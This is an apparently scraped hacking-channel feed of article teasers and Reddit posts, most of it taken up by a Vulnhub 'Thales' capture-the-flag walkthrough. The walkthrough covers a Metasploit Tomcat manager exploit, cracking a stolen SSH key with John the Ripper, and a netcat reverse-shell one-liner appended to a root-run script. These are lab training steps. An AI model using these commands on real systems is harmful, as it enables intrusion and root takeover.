Hacking on Medium
디스코드, 메신저를 이용한 사이버 범죄와 해킹

https://cdn-images-1.medium.com/max/1385/1*58YeKezR3tBt7ObP-H8_4g.png
디스코드를 어떻게 악용했는지 알아보자

Continue reading on StealthSolution »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Neovim Plugins for a Better Coding Experience — Part 3

https://cdn-images-1.medium.com/max/700/0*WCyTtSz05aKZHnVR.png
Let’s continue to improve our coding experience using Neovim.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Leaking Personal Phone Numbers of All Registered Indian Voters

https://cdn-images-1.medium.com/max/2600/0*P5dRikxwC00Ii_Xf
Can result in large-scale election-related scams in India.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Question for those who majored in ethical hacking

Is the major worth it? Is it fun and enjoyable and something you’re able to do for the rest of your life with a decent pay? I’ve been having my eye on it for a while now and was wondering if it’s a good major to get into, it sounds really interesting so I want to know the pros and cons of this field of work. Thanks :).

submitted by /u/Throwaway_010304
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Possible Web Crawler Research Program?

I realize this may not fit this sub, but I thought I’d try here anyway. This is probably a stupid question, but bare with me.

I’m trying to automate tasks at work, and much of that work is web research - sorting/reading through public documents, govt websites, etc and creating memos for my boss and our clients to read over. This work is extremely tedious and much of my time is spent just searching for the information. So, I feel like there has to be a program that can help me skip the searching portion and just review the results.

My question is:

Are there consumer programs available that use a web crawler (or some equivalent mechanism) to automate an advanced keyword search, and compile the results in a Word Doc template?

If not, how many hours would it take an average developer to create such a program?

I know very little about programming, but I feel like there has to be some sort of software out there that can scrape data for me so I don’t have to.

Work smarter, not harder. Amirite?

Thanks in advance.

submitted by /u/oliver--cromwell
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Meta expands its bug bounty program to include data scrapping

Financial rewards starting at $500 are on offer for scraping bugs and scraped database reports.Continue reading on Medium »
Read more...

Hacking on Medium
Hacking the dlink DIR-615 for fun and no profit Part 5: Multiple RCE’s

https://cdn-images-1.medium.com/max/1051/1*4zdNY9G3QG70DIoJQm7Ddw.png
Its been a while since i last did some iot hacking and i missed it. So i decided to try it again with my trusty target, dlink dir-615. And…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
NFT Marketplace on Polygon, Vulcan Forged Loses $ 140 Million

https://cdn-images-1.medium.com/max/768/0*Fy_gNhT0BwNy4Vcq.png
A marketplace specializing in gaming NFTs, Vulcan Forged has been the victim of a hack. Hackers took advantage of a loophole to steal the…

Continue reading on Coinmonks »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
HOW TO PREVENT HACKING

https://cdn-images-1.medium.com/max/940/1*iCiTGarK14J48H7YCEW-JQ.jpeg
Always be aware of hackers, because hacking is everywhere nowadays, so it is very important to protect yourself and anything associated…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Thales1 Vulnhub Walkthrough

"Thales" is a Capture the Flag challenge available on Vulnhub. MachineBoy deserves credit for developing this box. In this box, we will learn how to exploit a vulnerability in the Tomcat Application Manager instance to gain access to the system and we will also learn how to exploit a script running with root privileges to gain root access. So, let us see how to solve this machine in the proper steps.

Download Thales from hereMethodology:· netdiscover · Nmap · Abusing HTTP· Metasploit· John the Ripper· Reverse shell script· Capture the Flag Initially, we will scan the network to find the Victim machine IP using the netdiscover command.netdiscoverWe find that the Victim machine has the IP address as 192.168.1.175 NmapFurther, we ran an aggressive scan (-A) for open port enumeration where we found the following port details:nmap -A 192.168.1.175According to the Nmap output, we getEnumerationNow let's see if we can get any interesting information from port 8080. Because the Apache Tomcat Server is running on port 8080, we can see the result right away in the browser. http://192.168.1.175:8080https://blogger.googleusercontent.com/img/a/AVvXsEgImuJgwYVAerBh71GBVSsQWzkhI5_3NfgM1l9wk6J4tfz1uBmB8kWhRxNd7yay8vVn5AFyHSyDicbsJYwuowVpzkDDgto3Lj2lBaNHjKZ20jQfXoFlXNxym2SstuD9-svKA_Vd5Yir4jtXZJp7JW_DHCYuR6bQc19YbodlMqmM_sewuxkKvMlmExtTTA=s16000 ExploitationNow, let’s start msfconsole. We will be using the auxiliary scanner to bruteforce tomcat manager login. msfconsole -qas result the password of tomcat that we get is tomcat:role1 https://blogger.googleusercontent.com/img/a/AVvXsEjqdWSPvGzw3NoLalk0ZJOeEp2DUzPm3TA7am-oMadcGhaVl9Kq5PEJeTTMut4Wq7KswSKcorHNy6PGQbIRh5mPvZYB151bp1C8YlAIueu8qQEzB14VsQFyWbCLgkKjxgmZst4rNbPAICr8XklVycjb_CYIsp5GDuB2-E309facyPNKlsXHDjeZ8W5GqQ=s16000 As we enumerated Tomcat Manager Login creds thus we can try reverse connection by injecting malicious Java payload. We will use this exploit to get a meterpreter shell.use exploit/multi/http/tomcat_mgr_uploadAfter getting the meterpreter shell we navigate to the ‘home’ directory and there we can find a sub-directory named ‘thales’. Entering the ‘thales’ directory we get two files: user.txt andnotes.txt. We also find a .sshdirect[...]

___________________________
@hacking_Attack
@Hacking_Video

ory. cd /homehttps://blogger.googleusercontent.com/img/a/AVvXsEjpbDmCA5p6VkiDMSY1tFdMqtxCWCPjgUJIbZCjwV_rlkIBV8EKv67jq01GE5cgOKeZtpD0SMQ2_On4WvC4MoRgnI1-iBMdMpFq2E62-mzmsMB061XNvopeu8GiHnKpObOS6TttuPPatHFxc0CD6Z3k1-hb-EDiqidP_A4Ax24wZVady8kDESRaj8z4tw=s16000 We observe that the public key (id_rsa.pub) and the private key(id_rsa) are present on the victim machine. The private key is used to login. So now we proceed to download the private key onto our kali machine.cd .sshhttps://blogger.googleusercontent.com/img/a/AVvXsEiqNmwvnDC0TnhVio7e--VroEk0fMNsvOD1sjRluTCFpzBKn28HQzyIiWZ3cTdIT4yH4Q5YTgLmXuiYv2BwjQ6Yh13WlGI0Qn_zQqYfFu_-w7mbeDCiEXNl4oiQwMBgoGT6OoagU7J6pVLN60l_GKx_YS6ci4zclZ1K3PHo0EN9RwQZYaGuY_tEI7Uh8w=s16000 John the RipperNow, we need to convert the id_rsa key into a hash which can be cracked using ‘john’. First, we use the command ‘ssh2john’ to convert the key into a hash.locate ssh2john sshhashhttps://blogger.googleusercontent.com/img/a/AVvXsEiNuDEXkGmW4xxRmVss9S5tM4NVEzXbf_5KjRDTw03HEUIILl4ZyC8gxkUbroglvoNyfeFvInOXf2LjXjNoNF4dwgdfSUIEJJPsFDWZkIJFWYgZchNUKQgVl5yi8bx5uJQz2u_egO8flZriO3i2j6iwq2e9m8oT5JdyhpX7-yvTGxr34cfloGJYOOky3g=s16000 Now we can attempt to crack the hash with john the ripper. We will use the wordlist ‘rockyou.txt’.john –wordlist=/usr/share/wordlists/rockyou.txt sshashHash is cracked and we get the password:vodka06 https://blogger.googleusercontent.com/img/a/AVvXsEiwv6Ul7Trjo05L7D8UO2GkNcDYmvEKfELsJTVuwKmxVar4HBTGbM-o-NdDYBxjB5274i2NVwggt8-m-Va-XaWWDRiQDa8NBM0Bl8B_Xsd_pEtWWKPnoYTAT7VF8aRmFrBDyE477YNfWFsf18SeWGR7AtyosAwornjZWGE8dwLVZ6RtvJeqB0UgMA7O1A=s16000 On a new tab, we ssh into the machine using the username: tomcatand password: role1ssh tomcat@After we get a shell, we will upgrade our non-interactive shell to a partially interactive one using the following command:python -c 'import pty; pty.spawn("/bin/bash")'Since we have cracked the password of user ‘thales’, let’s switch to the thales user. su thales After switching to thales user, we use the command “id” to know about the real and effective ‘user and group’ IDs. We find that thales is a non-root user.sudo -l We find that user thales does not have the ability to run any command as root./usr/local/bin/backup.shcat /usr/local/bin/backup.shhttps://blogger.googleusercontent.com/img/a/AVvXsEjVgoyrHvKhDfZEkuQPMB4VZXoPKDpnRHVzwwBIFGXbhvBq_G30gQv8eBCLsir4D3jLrq1_hYJsw4YbiNGSjLDQEDzMnYbfq7FEvVIaf2PWqQSrpqY56av4REAoaSSatdyFlyb4sJDvMlhvl6POD8p4QawpyRo-iwtE9TgUsmoO7I9rIdhk_Y83mtYTmA=s16000 ’___________________________
@hacking_Attack
@Hacking_Video

8nc -lvp 8888We proceed to replace the script in backup.sh with a reverse shell as shown below:echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.3 8888 >/tmp/f" >>backup.shhttps://blogger.googleusercontent.com/img/a/AVvXsEhBL3BW9jl_CovCcxeL92kqflKaZ__Zc0kQFtsMsuFpDFkdhuvEWuFifQTwBh8U7mPYaN6fOWbJ3-wcQhzlvj3IvqhK9Aag7YbWDaDARFCaQdo9t2cdBAZ58EfpxKyWefmoaoh9P3NmocNFYOlCLrfIxUumVvnopbVZa0smp12WiJI-UO8s_ZdaHJ-vwQ=s16000 As soon as we run the script backup.sh, we receive shell on our Netcat listener. As expected the shell we received is a root shell and in the end, we proceed to capture the root flag. Capture the root flaghttps://blogger.googleusercontent.com/img/a/AVvXsEhNfYCeFrOLKhE4g2btktj9RmndKI3_K66-wb9fWOjaU5TGxh4cJRAbxFhFWlZ7a25IfvHRDNq5rddrCMcPWC4rhIDnF-oF6pHtDME9bEpMng01HJrRHab353sWr7P9eAw9ZgDXAFu7O_GKHi2-97fY5xtduOKmwCCL55g9f3oe9HLwqQhMCCP9sae9Zg=s16000

___________________________
@hacking_Attack
@Hacking_Video

Meta expands its bug bounty program to include data scrapping
https://techgigdotcom.medium.com/meta-expands-its-bug-bounty-program-to-include-data-scrapping-66defaf3781?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Financial rewards starting at $500 are on offer for scraping bugs and scraped database reports.Continue reading on Medium » (https://techgigdotcom.medium.com/meta-expands-its-bug-bounty-program-to-include-data-scrapping-66defaf3781?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video